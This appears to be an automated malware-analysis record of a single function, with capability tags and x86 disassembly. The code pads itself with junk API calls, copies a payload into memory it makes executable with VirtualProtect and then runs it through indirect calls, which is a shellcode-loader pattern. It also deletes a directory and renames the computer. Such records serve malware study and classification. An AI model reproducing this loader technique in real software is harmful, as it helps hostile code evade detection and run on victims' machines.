Function at 0x40354f
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc54
push ebx
push esi
push edi
xor edi, edi
cmp dword [0x59d0f8], 0x5b1
jne 0x40360c
push edi
lea eax, [ebp - 0x850]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push dword [ebp - 4]
push 0x402e90
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push edi
push edi
push edi
call sub.USER32.dll_DdeSetQualityOfService
push edi
push edi
call dword [sym.imp.GDI32.dll_CreateDIBPatternBrush]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x450]
push eax
push edi
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconA]
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.ole32.dll_OleConvertIStorageToOLESTREAM]
push edi
call fcn.004038ca
pop ecx
lea esi, [ebp - 0x14]
call fcn.004031e0
mov ecx, esi
call fcn.00403200
push edi
call fcn.00403c44
pop ecx
push edi
push edi
call fcn.00403c4f
push edi
call fcn.00403d81
pop ecx
pop ecx
mov dword [esp], edi
call fcn.0040324d
fstp st(0)
push edi
call fcn.00403d81
pop ecx
call fcn.00403fa1
add dword [0x59d0f8], 0x1134b
push dword [0x59d0f8]
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x59c04c], eax
mov esi, 0x1e6cc
push edi
push edi
call dword [sym.imp.USER32.dll_LoadMenuA]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x40362d
lea eax, [ebp - 0x18]
push eax
push 0x40
push dword [0x59d0f8]
push dword [0x59c04c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp esi, 0x206d47
jg 0x40368c
inc esi
cmp esi, 0x4f6a4
jl 0x40366c
xor esi, esi
cmp dword [0x59d0f8], edi
jbe 0x4036e2
cmp dword [0x59d0f8], 0xa8
mov eax, dword [0x59d0fc]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x59c04c]
mov byte [ecx + esi], al
jne 0x4036d9
push 0x402f10
push edi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402f48
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0x402fcc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
inc esi
cmp esi, dword [0x59d0f8]
jb 0x403696
xor esi, esi
mov eax, dword [0x59d0f8]
add eax, esi
cmp eax, 0xe
jne 0x40371d
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
push 0x30
lea eax, [ebp - 0x4c]
push edi
push eax
mov dword [ebp - 0x50], edi
call fcn.004086b0
add esp, 0xc
push edi
lea eax, [ebp - 0x50]
push eax
push 0x402fdc
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
inc esi
cmp esi, 0x39621
jl 0x4036e4
call fcn.00403482
xor esi, esi
call ebx
cmp esi, 0x26
jne 0x403739
call fcn.00403535
inc esi
cmp esi, 0x6753f
jl 0x40372d
push 0x7b
pop esi
cmp dword [0x59d0f8], 0x86
jne 0x403798
lea eax, [ebp - 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push edi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push edi
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push edi
lea eax, [ebp - 0xc50]
push eax
push edi
push 0x402fe8
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
dec esi
jne 0x403745
push 0x403000
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
leave
ret